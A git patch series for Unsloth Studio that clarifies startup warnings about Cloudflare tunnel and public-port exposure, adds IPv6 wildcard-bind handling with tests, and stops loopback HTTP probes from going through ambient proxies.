+                "on your local network only (no public link).",
+                warn,
+            )
+        else:
+            _emit(
+                "  Cloudflare tunnel: requested but failed to start. There is no "
+                "Cloudflare public link. Raw port reachability was not verified; "
+                f"bind {loopback_host} or close firewall access to keep Studio private.",
+                warn,
+            )
+    elif _cloudflare_flag:
+        if _public_reachable is True:
+            _emit(
+                "  Cloudflare tunnel: OFF for this mode. The raw port is still "
+                "reachable from the public internet (see the reachability check above): "
+                "anyone who can reach it can access this Studio.",
+                warn,
+            )
+        elif _public_reachable is False:
+            _emit(
+                "  Cloudflare tunnel: OFF for this mode. Studio is reachable on your "
+                "local network only (no public link)."
+            )
+        else:
+            _emit(
+                "  Cloudflare tunnel: OFF for this mode. There is no Cloudflare public "
+                "link. Raw port reachability was not verified; "
+                f"bind {loopback_host} or close firewall access to keep Studio private.",
+                warn,
+            )
+    elif not _cloudflare_flag:
+        if _public_reachable is True:
+            _emit(
+                "  Cloudflare tunnel: OFF (--no-cloudflare). The raw port is still "
+                "reachable from the public internet (see the reachability check above): "
+                "--no-cloudflare disables only the Cloudflare link, not the public bind.",
+                warn,
+            )
+        elif _public_reachable is False:
+            _emit(
+                "  Cloudflare tunnel: OFF (--no-cloudflare). Studio is reachable on your "
+                "local network only. Omit --no-cloudflare to expose a public "
+                "Cloudflare HTTPS link."
+            )
+        else:
+            _emit(
+                "  Cloudflare tunnel: OFF (--no-cloudflare). There is no Cloudflare "
+                "public link. Raw port reachability was not verified; "
+                f"bind {loopback_host} or close firewall access to keep Studio private.",
+                warn,
+            )
 
 
 def _get_pid_on_port(port: int) -> "tuple[int, str] | None":
@@ -697,7 +790,7 @@ _server_thread = None
 # Shutdown event -- wakes the main loop on signal.
 _shutdown_event = None
 
-# trycloudflare.com URL for 0.0.0.0 binds (set by run_server, read by the banner);
+# trycloudflare.com URL for wildcard binds (set by run_server, read by the banner);
 # None when there is no tunnel (loopback, disabled, or a silently-ignored failure).
 _cloudflare_url = None
 
@@ -707,6 +800,9 @@ _cloudflare_url = None
 # not decide (timeout, blocked, private address).
 _public_reachable = None
 
+_cloudflare_requested = False
+_cloudflare_flag = True
+
 
 _DEFAULT_FRONTEND_PATH = Path(__file__).resolve().parent.parent / "frontend" / "dist"
 
@@ -880,12 +976,12 @@ def _cloudflare_tunnel_should_start(
 ) -> bool:
     """Whether to start the Cloudflare tunnel. --secure exposes only the tunnel
     (loopback bind), so it tunnels even api-only (headless secure API serving);
-    otherwise tunnel only a 0.0.0.0 bind, never api-only (Tauri) or Colab."""
+    otherwise tunnel wildcard binds, never api-only (Tauri) or Colab."""
     if is_colab or not cloudflare:
         return False
     if secure:
         return True
-    return host == "0.0.0.0" and not api_only
+    return host in ("0.0.0.0", "::") and not api_only
 
 
 def _apply_cli_tool_policy(enable_tools: "Optional[bool]") -> None:
@@ -1072,7 +1168,7 @@ def run_server(
             )
 
     # Resolve once; shared by the log rewrite and banner.
-    display_host = _resolve_external_ip() if host == "0.0.0.0" else host
+    display_host = _display_host_for_bind(host)
     _install_uvicorn_startup_log_rewrite(host, display_host)
 
     logger.info(
@@ -1117,13 +1213,10 @@ def run_server(
     # backend, not whatever a proxy/tunnel exposed. For ephemeral binds (port==0)
     # leave it unset so handlers fall back to the request scope / base_url.
     app.state.server_port = port if port and port > 0 else None
-    # Direct (non-tunnel) base for the API panel; resolve 0.0.0.0 to the LAN IP.
+    # Direct (non-tunnel) base for the API panel; resolve wildcard binds to the LAN IP.
     if port and port > 0:
-        _direct_host = _resolve_external_ip() if host in ("0.0.0.0", "::") else host
-        # Bracket IPv6 literals so the URL is valid (http://[2405:...]:port).
-        if ":" in _direct_host and not _direct_host.startswith("["):
-            _direct_host = f"[{_direct_host}]"
-        app.state.server_url = f"http://{_direct_host}:{port}"
+        _direct_host = _display_host_for_bind(host)
+        app.state.server_url = f"http://{_url_host(_direct_host)}:{port}"
     else:
         app.state.server_url = None
     app.state.secure = secure
@@ -1192,11 +1285,12 @@ def run_server(
     if api_only and emit_tauri_port:
         print(f"TAURI_PORT={port}", flush = True)
 
-    # Free trycloudflare.com tunnel for 0.0.0.0 binds (the raw ip:port is often
+    # Free trycloudflare.com tunnel for wildcard binds (the raw ip:port is often
     # unreachable). Started pre-banner and even when silent so the CLI banner can
     # read app.state.cloudflare_url; torn down by _graceful_shutdown.
-    global _cloudflare_url
+    global _cloudflare_url, _cloudflare_requested, _cloudflare_flag
     _cloudflare_url = None
+    _cloudflare_flag = cloudflare
     app.state.cloudflare_url = None
     _cloudflare_enabled = _cloudflare_tunnel_should_start(
         cloudflare = cloudflare,
@@ -1205,6 +1299,7 @@ def run_server(
         api_only = api_only,
         is_colab = _IS_COLAB,
     )
+    _cloudflare_requested = _cloudflare_enabled
     if _cloudflare_enabled:
         try:  # best-effort: any failure must not block startup
             from cloudflare_tunnel import start_studio_tunnel, stop_studio_tunnel
@@ -1309,8 +1404,10 @@ def _build_arg_parser():
         "--cloudflare",
         action = argparse.BooleanOptionalAction,
         default = True,
-        help = "Auto-create a free Cloudflare HTTPS tunnel when bound to 0.0.0.0 "
-        "(default on; --no-cloudflare to disable)",
+        help = "Auto-create a free Cloudflare HTTPS tunnel for non-api-only wildcard "
+        "binds (0.0.0.0 or ::), exposing Studio on a PUBLIC internet URL (default on). "
+        "Pass --no-cloudflare to disable that Cloudflare URL; it does not change a "
+        "public wildcard bind. --api-only keeps it off unless paired with --secure.",
     )
     parser.add_argument(
         "--secure",
diff --git a/studio/backend/tests/test_cloudflare_tunnel.py b/studio/backend/tests/test_cloudflare_tunnel.py
index 8042240b64..7904c70a7b 100644
--- a/studio/backend/tests/test_cloudflare_tunnel.py
+++ b/studio/backend/tests/test_cloudflare_tunnel.py
@@ -11,6 +11,7 @@ checked by AST so we never import its heavy deps (uvicorn/structlog).
 import ast
 import importlib.util
 import io
+import os
 import sys
 import tarfile
 import types
@@ -136,7 +137,9 @@ def test_ensure_downloads_and_chmods_when_missing(monkeypatch, tmp_path):
     path = ct.ensure_cloudflared()
     assert path == str(cached)
     assert cached.exists()
-    assert cached.stat().st_mode & 0o111  # executable bit set
+    # Host OS, not monkeypatched ct.sys.platform.
+    if os.name != "nt":
+        assert cached.stat().st_mode & 0o111
 
 
 def test_ensure_returns_none_on_download_failure(monkeypatch, tmp_path):
@@ -238,7 +241,8 @@ def test_ensure_macos_extracts_tgz_and_chmods(monkeypatch, tmp_path):
     path = ct.ensure_cloudflared()
     assert path == str(cached)
     assert cached.read_bytes() == b"mach-o"
-    assert cached.stat().st_mode & 0o111  # chmod applied on posix
+    if os.name != "nt":
+        assert cached.stat().st_mode & 0o111
     assert not cached.with_suffix(".tgz").exists()  # temp archive cleaned up
 
 
@@ -696,6 +700,28 @@ def test_argparse_cloudflare_default_true():
     assert _argparse_default(_RUN_PY.read_text(), "--cloudflare") is True
 
 
+def test_verify_global_reachability_marks_private_address_unreachable():
+    src = _RUN_PY.read_text()
+    tree = ast.parse(src)
+    func_src = next(
+        ast.get_source_segment(src, n)
+        for n in ast.walk(tree)
+        if isinstance(n, ast.FunctionDef) and n.name == "_verify_global_reachability"
+    )
+    captured = []
+    ns = {
+        "_public_reachable": None,
+        "_stdout_color_ok": lambda: False,
+        "_url_host": lambda host: host,
+        "print": lambda *a, **k: captured.append(" ".join(str(x) for x in a)),
+    }
+    exec(compile(func_src, "<verify_global_reachability>", "exec"), ns)
+    ns["_verify_global_reachability"]("192.168.1.10", 8888)
+
+    assert ns["_public_reachable"] is False
+    assert "private/LAN address" in "\n".join(captured)
+
+
 def test_run_server_registers_tunnel_atexit_backstop():
     # An abnormal exit (exception after startup -> sys.exit) bypasses
     # _graceful_shutdown; an atexit backstop must still stop the tunnel.
@@ -703,16 +729,18 @@ def test_run_server_registers_tunnel_atexit_backstop():
     assert "atexit.register(stop_studio_tunnel)" in src
 
 
-def test_run_server_gates_tunnel_on_wildcard():
-    # Guard against accidentally widening the trigger beyond 0.0.0.0.
-    source = _RUN_PY.read_text()
-    assert "_cloudflare_enabled" in source
-    assert 'host == "0.0.0.0"' in source
-
-
-def _run_print_cloudflare_line(monkeypatch, *, cloudflare_url, public_reachable):
-    """Exec the real _print_cloudflare_line source in isolation (run.py has heavy
-    deps), with the two module globals injected and startup_banner stubbed."""
+def _run_print_cloudflare_line(
+    monkeypatch,
+    *,
+    cloudflare_url,
+    public_reachable,
+    cloudflare_requested = False,
+    cloudflare_flag = True,
+    secure = False,
+    loopback_host = "127.0.0.1",
+    color = False,
+):
+    """Exec _print_cloudflare_line without importing run.py's heavy deps."""
     src = _RUN_PY.read_text()
     tree = ast.parse(src)
     func_src = next(
@@ -721,16 +749,18 @@ def _run_print_cloudflare_line(monkeypatch, *, cloudflare_url, public_reachable)
         if isinstance(n, ast.FunctionDef) and n.name == "_print_cloudflare_line"
     )
     stub = types.ModuleType("startup_banner")
-    stub.stdout_supports_color = lambda: False
+    stub.stdout_supports_color = lambda: color
     monkeypatch.setitem(sys.modules, "startup_banner", stub)
     captured: list[str] = []
     ns = {
         "_cloudflare_url": cloudflare_url,
         "_public_reachable": public_reachable,
+        "_cloudflare_requested": cloudflare_requested,
+        "_cloudflare_flag": cloudflare_flag,
         "print": lambda *a, **k: captured.append(" ".join(str(x) for x in a)),
     }
     exec(compile(func_src, "<print_cloudflare_line>", "exec"), ns)
-    ns["_print_cloudflare_line"]()
+    ns["_print_cloudflare_line"](secure = secure, loopback_host = loopback_host)
     return "\n".join(captured)
 
 
@@ -750,7 +780,6 @@ def test_cloudflare_line_default_wording_when_reachable(monkeypatch):
 
 
 def test_cloudflare_line_default_wording_when_unknown(monkeypatch):
-    # Probe did not run / could not decide -> keep the existing wording.
     out = _run_print_cloudflare_line(
         monkeypatch, cloudflare_url = "https://x.trycloudflare.com", public_reachable = None
     )
@@ -758,6 +787,136 @@ def test_cloudflare_line_default_wording_when_unknown(monkeypatch):
     assert "Use the secure link" not in out
 
 
-def test_cloudflare_line_prints_nothing_without_tunnel(monkeypatch):
+def test_cloudflare_line_states_inactive_when_enabled_but_not_requested(monkeypatch):
     out = _run_print_cloudflare_line(monkeypatch, cloudflare_url = None, public_reachable = False)
-    assert out == ""
+    assert "Cloudflare tunnel: OFF for this mode" in out
+    assert "local network only" in out
+
+
+def test_cloudflare_line_warns_when_public_url_up(monkeypatch):
+    out = _run_print_cloudflare_line(
+        monkeypatch,
+        cloudflare_url = "https://x.trycloudflare.com",
+        public_reachable = True,
+        cloudflare_requested = True,
+    )
+    assert "Secure link access via Cloudflare: https://x.trycloudflare.com" in out
+    assert "Cloudflare tunnel: ON" in out
+    assert "PUBLIC" in out
+    assert "--no-cloudflare" in out
+    assert "raw port is also publicly reachable" in out
+    assert "local network only" not in out
+
+
+def test_cloudflare_line_secure_mode_suppresses_public_warning(monkeypatch):
+    out = _run_print_cloudflare_line(
+        monkeypatch,
+        cloudflare_url = "https://x.trycloudflare.com",
+        public_reachable = True,
+        cloudflare_requested = True,
+        secure = True,
+    )
+    assert "Secure link access via Cloudflare: https://x.trycloudflare.com" in out
+    assert "Cloudflare tunnel: ON" not in out
+
+
+def test_cloudflare_line_states_disabled_when_off(monkeypatch):
+    out = _run_print_cloudflare_line(
+        monkeypatch,
+        cloudflare_url = None,
+        public_reachable = False,
+        cloudflare_requested = False,
+        cloudflare_flag = False,
+    )
+    assert "Cloudflare tunnel: OFF" in out
+    assert "local network only" in out
+
+
+def test_cloudflare_line_states_failed_when_requested_but_no_url(monkeypatch):
+    out = _run_print_cloudflare_line(
+        monkeypatch,
+        cloudflare_url = None,
+        public_reachable = False,
+        cloudflare_requested = True,
+        cloudflare_flag = True,
+    )
+    assert "requested but failed to start" in out
+    assert "local network only" in out
+
+
+def test_cloudflare_line_off_does_not_claim_local_only_when_unknown(monkeypatch):
+    out = _run_print_cloudflare_line(
+        monkeypatch,
+        cloudflare_url = None,
+        public_reachable = None,
+        cloudflare_requested = False,
+        cloudflare_flag = False,
+    )
+    assert "Cloudflare tunnel: OFF" in out
+    assert "Raw port reachability was not verified" in out
+    assert "local network only" not in out
+
+
+def test_cloudflare_line_failed_does_not_claim_local_only_when_unknown(monkeypatch):
+    out = _run_print_cloudflare_line(
+        monkeypatch,
+        cloudflare_url = None,
+        public_reachable = None,
+        cloudflare_requested = True,
+        cloudflare_flag = True,
+    )
+    assert "requested but failed to start" in out
+    assert "Raw port reachability was not verified" in out
+    assert "local network only" not in out
+
+
+@pytest.mark.parametrize(
+    "cloudflare_requested,cloudflare_flag,expected",
+    [
+        (True, True, "requested but failed to start"),
+        (False, True, "Cloudflare tunnel: OFF for this mode"),
+        (False, False, "Cloudflare tunnel: OFF"),
+    ],
+)
+def test_cloudflare_line_unknown_warns_with_loopback_host(
+    monkeypatch, cloudflare_requested, cloudflare_flag, expected
+):
+    out = _run_print_cloudflare_line(
+        monkeypatch,
+        cloudflare_url = None,
+        public_reachable = None,
+        cloudflare_requested = cloudflare_requested,
+        cloudflare_flag = cloudflare_flag,
+        loopback_host = "::1",
+        color = True,
+    )
+    assert expected in out
+    assert "bind ::1" in out
+    assert "bind 127.0.0.1" not in out
+    assert "\033[38;5;215;1m" in out
+
+
+def test_cloudflare_line_off_does_not_claim_local_only_when_publicly_reachable(monkeypatch):
+    out = _run_print_cloudflare_line(
+        monkeypatch,
+        cloudflare_url = None,
+        public_reachable = True,
+        cloudflare_requested = False,
+        cloudflare_flag = False,
+    )
+    assert "Cloudflare tunnel: OFF" in out
+    assert "reachable from the public internet" in out
+    assert "local network only" not in out
+
+
+def test_cloudflare_line_failed_does_not_claim_local_only_when_publicly_reachable(monkeypatch):
+    out = _run_print_cloudflare_line(
+        monkeypatch,
+        cloudflare_url = None,
+        public_reachable = True,
+        cloudflare_requested = True,
+        cloudflare_flag = True,
+    )
+    assert "requested but failed to start" in out
+    assert "reachable from the public internet" in out
+    assert "local network only" not in out
diff --git a/studio/backend/tests/test_secure_tunnel_gate.py b/studio/backend/tests/test_secure_tunnel_gate.py
index bf9836e8f3..1f7608a4fc 100644
--- a/studio/backend/tests/test_secure_tunnel_gate.py
+++ b/studio/backend/tests/test_secure_tunnel_gate.py
@@ -21,8 +21,9 @@ from run import _cloudflare_tunnel_should_start as should_start  # noqa: E402
 @pytest.mark.parametrize(
     "cloudflare,host,secure,api_only,is_colab,expected",
     [
-        # Non-secure: historical 0.0.0.0-only behaviour preserved.
+        # Non-secure wildcard binds tunnel by default.
         (True, "0.0.0.0", False, False, False, True),
+        (True, "::", False, False, False, True),
         (True, "127.0.0.1", False, False, False, False),
         (True, "localhost", False, False, False, False),
         # --secure tunnels a loopback bind too.
@@ -30,13 +31,16 @@ from run import _cloudflare_tunnel_should_start as should_start  # noqa: E402
         (True, "0.0.0.0", True, False, False, True),
         # --no-cloudflare always wins.
         (False, "0.0.0.0", False, False, False, False),
+        (False, "::", False, False, False, False),
         (False, "127.0.0.1", True, False, False, False),
         # Non-secure api-only never tunnels (Tauri).
         (True, "0.0.0.0", False, True, False, False),
+        (True, "::", False, True, False, False),
         # --secure tunnels even api-only (headless secure API server).
         (True, "127.0.0.1", True, True, False, True),
         # Colab never tunnels, even --secure.
         (True, "0.0.0.0", False, False, True, False),
+        (True, "::", False, False, True, False),
         (True, "127.0.0.1", True, False, True, False),
         (True, "127.0.0.1", True, True, True, False),
     ],
@@ -132,7 +136,7 @@ def test_startup_output_emits_tool_notice_on_network_bind(capsys, monkeypatch):
     import run
 
     monkeypatch.setattr(run, "_verify_global_reachability", lambda *a, **k: None)
-    monkeypatch.setattr(run, "_print_cloudflare_line", lambda: None)
+    monkeypatch.setattr(run, "_print_cloudflare_line", lambda *a, **k: None)
     monkeypatch.setattr(run, "_localhost_ipv6_mismatch_url", lambda *a, **k: None)
 
     run._emit_startup_output("0.0.0.0", 8000, "0.0.0.0", secure = False, enable_tools = None)
diff --git a/tests/studio/install/test_selection_logic.py b/tests/studio/install/test_selection_logic.py
index f65c7a895c..464aa9a578 100644
--- a/tests/studio/install/test_selection_logic.py
+++ b/tests/studio/install/test_selection_logic.py
@@ -82,6 +82,7 @@ def load_studio_run_module(monkeypatch):
     startup_banner = types.ModuleType("startup_banner")
     startup_banner.print_studio_access_banner = lambda **k: None
     startup_banner.print_studio_stop_hint = lambda: None
+    startup_banner.stdout_supports_color = lambda: False
     monkeypatch.setitem(sys.modules, "startup_banner", startup_banner)
 
     paths = types.ModuleType("utils.paths")
diff --git a/unsloth_cli/commands/studio.py b/unsloth_cli/commands/studio.py
index 5975e7e355..7a5080bd10 100644
--- a/unsloth_cli/commands/studio.py
+++ b/unsloth_cli/commands/studio.py
@@ -161,6 +161,34 @@ def _stream_for_subprocess(stream):
     return stream
 
 
+def _display_host_for_bind(run_mod, host: str) -> str:
+    return run_mod._resolve_external_ip() if host in ("0.0.0.0", "::") else host
+
+
+def _loopback_bind_host_for(host: str) -> str:
+    return "::1" if host == "::" else "127.0.0.1"
+
+
+def _url_host(host: str) -> str:
+    return (
+        f"[{host}]" if ":" in host and not (host.startswith("[") and host.endswith("]")) else host
+    )
+
+
+def _emit_run_cloudflare_notice(
+    run_mod, host: str, display_host: str, actual_port: int, secure: bool
+) -> None:
+    from unsloth_cli._tool_policy import is_external_host
+
+    if not is_external_host(host):
+        return
+    run_mod._verify_global_reachability(display_host, actual_port)
+    run_mod._print_cloudflare_line(
+        secure = secure,
+        loopback_host = _loopback_bind_host_for(host),
+    )
+
+
 def _studio_venv_python() -> Optional[Path]:
     """Return the studio venv Python binary, or None if not set up."""
     if platform.system() == "Windows":
@@ -688,7 +716,10 @@ def studio_default(
     cloudflare: bool = typer.Option(
         True,
         "--cloudflare/--no-cloudflare",
-        help = "Auto-create a free Cloudflare HTTPS tunnel when bound to 0.0.0.0 (default on).",
+        help = "Auto-create a free Cloudflare HTTPS tunnel for non-api-only wildcard "
+        "binds (0.0.0.0 or ::), exposing Studio on a PUBLIC internet URL (default on). "
+        "Pass --no-cloudflare to disable that Cloudflare URL; it does not change a "
+        "public wildcard bind. --api-only keeps it off unless paired with --secure.",
     ),
     secure: bool = typer.Option(
         False,
@@ -876,8 +907,8 @@ def studio_default(
     run_server = run_mod.run_server
 
     if not silent:
-        display_host = run_mod._resolve_external_ip() if host == "0.0.0.0" else host
-        typer.echo(f"Starting Unsloth Studio on http://{display_host}:{port}")
+        display_host = _display_host_for_bind(run_mod, host)
+        typer.echo(f"Starting Unsloth Studio on http://{_url_host(display_host)}:{port}")
 
     run_kwargs = dict(
         host = host,
@@ -1078,7 +1109,10 @@ def run(
     cloudflare: bool = typer.Option(
         True,
         "--cloudflare/--no-cloudflare",
-        help = "Auto-create a free Cloudflare HTTPS tunnel when bound to 0.0.0.0 (default on).",
+        help = "Auto-create a free Cloudflare HTTPS tunnel for non-api-only wildcard "
+        "binds (0.0.0.0 or ::), exposing Studio on a PUBLIC internet URL (default on). "
+        "Pass --no-cloudflare to disable that Cloudflare URL; it does not change a "
+        "public wildcard bind. --api-only keeps it off unless paired with --secure.",
     ),
     secure: bool = typer.Option(
         False,
@@ -1336,10 +1370,10 @@ def run(
     context_length_line = _format_context_length_line(result)
 
     # 6. Print banner.
-    display_host = run_mod._resolve_external_ip() if host == "0.0.0.0" else host
-    base_url = f"http://{display_host}:{actual_port}"
+    display_host = _display_host_for_bind(run_mod, host)
+    base_url = f"http://{_url_host(display_host)}:{actual_port}"
     sdk_base_url = f"{base_url}/v1"
-    # run_server started the tunnel during the silent run above (0.0.0.0 or --secure).
+    # run_server started the tunnel during the silent run above (wildcard or --secure).
     _cf_url = getattr(app.state, "cloudflare_url", None)
     # --secure: examples must use the public tunnel URL, not the loopback address.
     if secure and _cf_url:
@@ -1376,8 +1410,7 @@ def run(
             typer.echo(f"  On this machine only: {base_url}")
         else:
             typer.echo(f"  Unsloth Studio running at {base_url}")
-            if _cf_url:
-                typer.echo(f"  Secure link access via Cloudflare: {_cf_url}")
+            _emit_run_cloudflare_notice(run_mod, host, display_host, actual_port, secure)
         typer.echo(f"  Model loaded: {loaded_model}{display_variant}")
         if context_length_line:
             typer.echo(context_length_line)
@@ -1417,8 +1450,7 @@ def run(
             typer.echo(f"Local:   {base_url}")
         else:
             typer.echo(f"URL:     {base_url}")
-            if _cf_url:
-                typer.echo(f"Secure link access via Cloudflare: {_cf_url}")
+            _emit_run_cloudflare_notice(run_mod, host, display_host, actual_port, secure)
         if context_length_line:
             typer.echo(context_length_line.strip())
         typer.echo(f"API Key: {api_key}")
diff --git a/unsloth_cli/tests/test_studio_cloudflare_flag.py b/unsloth_cli/tests/test_studio_cloudflare_flag.py
index 905512976e..c09ac8b998 100644
--- a/unsloth_cli/tests/test_studio_cloudflare_flag.py
+++ b/unsloth_cli/tests/test_studio_cloudflare_flag.py
@@ -233,6 +233,121 @@ def test_run_in_venv_passes_cloudflare_to_run_server(monkeypatch, user_flag, exp
     assert captured.get("cloudflare") is expected, captured
 
 
+def test_run_display_host_and_url_helpers_cover_ipv6_wildcard():
+    import types
+
+    studio_mod = _studio()
+    run_mod = types.SimpleNamespace(_resolve_external_ip = lambda: "198.51.100.7")
+
+    assert studio_mod._display_host_for_bind(run_mod, "0.0.0.0") == "198.51.100.7"
+    assert studio_mod._display_host_for_bind(run_mod, "::") == "198.51.100.7"
+    assert studio_mod._url_host("2001:db8::7") == "[2001:db8::7]"
+    assert studio_mod._url_host("127.0.0.1") == "127.0.0.1"
+
+
+def test_run_cloudflare_notice_uses_external_host_policy():
+    import types
+
+    studio_mod = _studio()
+    calls = []
+    run_mod = types.SimpleNamespace(
+        _verify_global_reachability = lambda host, port: calls.append(("verify", host, port)),
+        _print_cloudflare_line = lambda **kw: calls.append(("print", kw)),
+    )
+
+    studio_mod._emit_run_cloudflare_notice(run_mod, "0.0.0.0", "198.51.100.7", 8888, False)
+    assert calls == [
+        ("verify", "198.51.100.7", 8888),
+        ("print", {"secure": False, "loopback_host": "127.0.0.1"}),
+    ]
+
+    calls.clear()
+    studio_mod._emit_run_cloudflare_notice(run_mod, "::", "198.51.100.7", 8888, False)
+    assert calls == [
+        ("verify", "198.51.100.7", 8888),
+        ("print", {"secure": False, "loopback_host": "::1"}),
+    ]
+
+    calls.clear()
+    studio_mod._emit_run_cloudflare_notice(run_mod, "127.0.0.1", "127.0.0.1", 8888, False)
+    assert calls == []
+
+
+def test_run_silent_emits_cloudflare_notice_for_external_bind(monkeypatch):
+    import types
+
+    studio_mod = _studio()
+    fake_venv = Path("/fake/studio/venv/unsloth_studio")
+    monkeypatch.setattr(sys, "prefix", str(fake_venv))
+    monkeypatch.setattr(studio_mod, "STUDIO_HOME", fake_venv.parent)
+
+    from unsloth_cli import _tool_policy as _tp_mod
+
+    monkeypatch.setattr(
+        _tp_mod,
+        "resolve_tool_policy",
+        lambda host, flag, yes, silent: False if flag is None else bool(flag),
+    )
+
+    class _Done(SystemExit):
+        pass
+
+    class _ShutdownEvent:
+        def is_set(self):
+            raise _Done(0)
+
+        def wait(self, timeout = None):
+            return None
+
+    class _App:
+        class state:
+            server_port = 8888
+            cloudflare_url = "https://x.trycloudflare.com"
+
+    calls = []
+    backend = types.ModuleType("studio.backend.run")
+    backend.run_server = lambda **_kwargs: _App()
+    backend._resolve_external_ip = lambda: "198.51.100.7"
+    backend._verify_global_reachability = lambda host, port: calls.append(("verify", host, port))
+    backend._print_cloudflare_line = lambda **kw: calls.append(("print", kw))
+    backend._server = object()
+    backend._shutdown_event = _ShutdownEvent()
+    backend._graceful_shutdown = lambda server: calls.append(("shutdown", server))
+    monkeypatch.setitem(sys.modules, "studio.backend.run", backend)
+    monkeypatch.setattr(studio_mod, "_RUN_MODULE", backend)
+
+    state_mod = types.ModuleType("state")
+    tp_mod = types.ModuleType("state.tool_policy")
+    tp_mod.set_tool_policy = lambda *a, **k: None
+    state_mod.tool_policy = tp_mod
+    monkeypatch.setitem(sys.modules, "state", state_mod)
+    monkeypatch.setitem(sys.modules, "state.tool_policy", tp_mod)
+
+    monkeypatch.setattr(studio_mod, "_wait_for_server", lambda *a, **k: True)
+    monkeypatch.setattr(studio_mod, "_create_api_key_inprocess", lambda name: "sk-test")
+    monkeypatch.setattr(
+        studio_mod,
+        "_load_model_via_http",
+        lambda **_kwargs: {"model": "unsloth/Qwen3-1.7B-GGUF", "context_length": 4096},
+    )
+
+    import typer as _typer
+
+    app = _typer.Typer()
+    app.command(
+        context_settings = {"allow_extra_args": True, "ignore_unknown_options": True},
+    )(studio_mod.run)
+    result = CliRunner().invoke(
+        app,
+        _BASE + ["--silent", "-H", "0.0.0.0"],
+        catch_exceptions = True,
+    )
+
+    assert result.exit_code == 0, result.output
+    assert ("verify", "198.51.100.7", 8888) in calls
+    assert ("print", {"secure": False, "loopback_host": "127.0.0.1"}) in calls
+
+
 # ── parent-level --no-cloudflare with a subcommand is rejected ───────
 
 

From 7337729e57c59f97f1bbcf5bcfb5e4ede58ec665 Mon Sep 17 00:00:00 2001
From: Tai An <antai12232931@outlook.com>
Date: Tue, 30 Jun 2026 10:09:26 -0700
Subject: [PATCH 160/306] fix(studio/llama_cpp): disable trust_env on the
 loopback health probe (#6750) (#6752)

* fix(studio/llama_cpp): disable trust_env on the loopback health probe

_wait_for_health() polls http://127.0.0.1:<port>/health with the default
httpx trust_env=True, so an ambient HTTP(S)_PROXY in the environment is
applied to the loopback request. A proxy that returns 503 for 127.0.0.1
makes every probe fail, so the loop runs until timeout and Studio load
hangs (trust_env=False returns 200 immediately).

Pass trust_env=False so the local readiness probe never goes through a
proxy. This mirrors the existing trust_env=False handling in the sibling
llama_http / external_provider HTTP clients.

* test(offline_gguf_cache): accept trust_env kwarg in fake_get mock

_wait_for_health now calls httpx.get(..., trust_env=False); update the retry test's fake_get to accept the kwarg so it doesn't raise TypeError.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix(studio/llama_cpp): bypass proxies for loopback clients

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix(studio/routes): bypass proxies for llama streams

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: wasimysaid <wasimysdev@gmail.com>
---
 studio/backend/core/inference/llama_cpp.py    | 27 +++++++++++----
 studio/backend/core/inference/llama_http.py   |  6 +---
 studio/backend/routes/inference.py            | 12 +++++--
 .../tests/test_api_perf_serialization.py      |  9 +++++
 .../test_inference_dispatcher_resilience.py   | 29 ++++++++++++++++
 .../tests/test_llama_cpp_props_readback.py    |  8 ++++-
 .../tests/test_offline_gguf_cache_fallback.py |  6 +++-
 studio/backend/tests/test_tensor_parallel.py  |  2 ++
 .../src/components/assistant-ui/thread.tsx    | 34 +++++++++----------
 .../chat/utils/update-thread-message.ts       | 24 ++++++-------
 10 files changed, 112 insertions(+), 45 deletions(-)

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 8ec11fa79f..347f469d33 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -7273,7 +7273,13 @@ class LlamaCppBackend:
         url = f"{self.base_url}/completion"
         payload = {"prompt": "Hi", "n_predict": 4, "temperature": 0.0, "stream": False}
         try:
-            resp = httpx.post(url, json = payload, timeout = timeout, headers = self._auth_headers)
+            resp = httpx.post(
+                url,
+                json = payload,
+                timeout = timeout,
+                headers = self._auth_headers,
+                trust_env = False,
+            )
         except Exception as e:
             logger.debug(f"MTP decode probe failed: {e}")
             return False
@@ -7425,7 +7431,10 @@ class LlamaCppBackend:
                 return False
 
             try:
-                resp = httpx.get(url, timeout = 2.0)
+                # trust_env=False: never route the loopback health probe through
+                # an ambient HTTP(S)_PROXY. A proxy that 503s for 127.0.0.1 makes
+                # the probe loop until timeout and hangs Studio load.
+                resp = httpx.get(url, timeout = 2.0, trust_env = False)
                 if resp.status_code == 200:
                     return True
             except (
@@ -7472,7 +7481,7 @@ class LlamaCppBackend:
         """
         url = f"{self.base_url}/props"
         try:
-            resp = httpx.get(url, timeout = 5.0)
+            resp = httpx.get(url, timeout = 5.0, trust_env = False)
             if resp.status_code != 200:
                 return None
             settings = resp.json().get("default_generation_settings") or {}
@@ -7552,7 +7561,9 @@ class LlamaCppBackend:
         which differ only in how they parse the SSE body."""
         stream_timeout = httpx.Timeout(connect = 10, read = 0.5, write = 10, pool = 10)
         with httpx.Client(
-            timeout = stream_timeout, limits = httpx.Limits(max_keepalive_connections = 0)
+            timeout = stream_timeout,
+            limits = httpx.Limits(max_keepalive_connections = 0),
+            trust_env = False,
         ) as client:
             first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S
             with self._stream_with_retry(
@@ -9044,7 +9055,7 @@ class LlamaCppBackend:
             system_text = _block_text(system)
 
         try:
-            with httpx.Client(timeout = 10, headers = self._auth_headers) as client:
+            with httpx.Client(timeout = 10, headers = self._auth_headers, trust_env = False) as client:
 
                 def _tokenize(text: str) -> int:
                     r = client.post(
@@ -9160,7 +9171,7 @@ class LlamaCppBackend:
         """Codec name on match, None on non-audio, raises on transport/JSON errors."""
         if not self.is_loaded:
             return None
-        with httpx.Client(timeout = 10, headers = self._auth_headers) as client:
+        with httpx.Client(timeout = 10, headers = self._auth_headers, trust_env = False) as client:
 
             def _detok(tid: int) -> str:
                 # Non-200 means "marker not in vocab" -- keep probing.
@@ -9275,7 +9286,9 @@ class LlamaCppBackend:
             payload["n_probs"] = 1
 
         with httpx.Client(
-            timeout = httpx.Timeout(300, connect = 10), headers = self._auth_headers
+            timeout = httpx.Timeout(300, connect = 10),
+            headers = self._auth_headers,
+            trust_env = False,
         ) as client:
             resp = client.post(f"{self.base_url}/completion", json = payload)
